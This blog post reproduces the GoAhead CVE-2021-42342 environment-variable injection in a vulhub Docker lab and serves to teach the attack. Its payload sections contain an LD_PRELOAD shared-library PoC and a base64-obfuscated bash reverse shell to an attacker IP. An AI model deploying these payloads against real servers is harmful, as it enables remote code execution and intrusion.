GoAhead-Server-环境变量注入(CVE-2021-42342)

漏洞描述

GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。

这个漏洞是CVE-2017-17562漏洞补丁的绕过,攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量,进而劫持LD_PRELOAD来执行任意代码。

安装https协议、CA证书、dirmngr

apt-get update

apt-get install -y apt-transport-https ca-certificates

apt-get install dirmngr

添加GPG密钥并添加更新源

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list

系统更新以及安装docker

apt-get update&&apt install docker-ce

启动docker服务器 和compose

service docker start || apt install docker-compose

下载安装vulhub

git clone https://github.com/vulhub/vulhub.git

漏洞复现

攻击:192.168.1.162

目标:192.168.1.240

启动环境/vulhub-master/goahead/CVE-2021-42342

docker-compose up -d

请添加图片描述

编写测试poc
#include <unistd.h>
 
static void before_main(void) __attribute__((constructor));
 
static void before_main(void)
{
    write(1, "Hello: World\r\n\r\n", 16);
    write(1, "Hacked\n", 7);
}

before_main函数将在程序执行前被调用。编译以下代码:

gcc -s -shared -fPIC ./payload.c -o payload.so

请添加图片描述

动态链接库中编写的劫持代码已经被成功执行
请添加图片描述

编写反弹shell

#include <stdio.h>
#include <stdlib.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    system("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'");
}
bash:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzk5OTkgMD4mMQ==

重新上述步骤

nc监听
请添加图片描述

参考链接
https://blog.csdn.net/Wiofgb/article/details/126651816
https://blog.csdn.net/Tauil/article/details/126200858

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值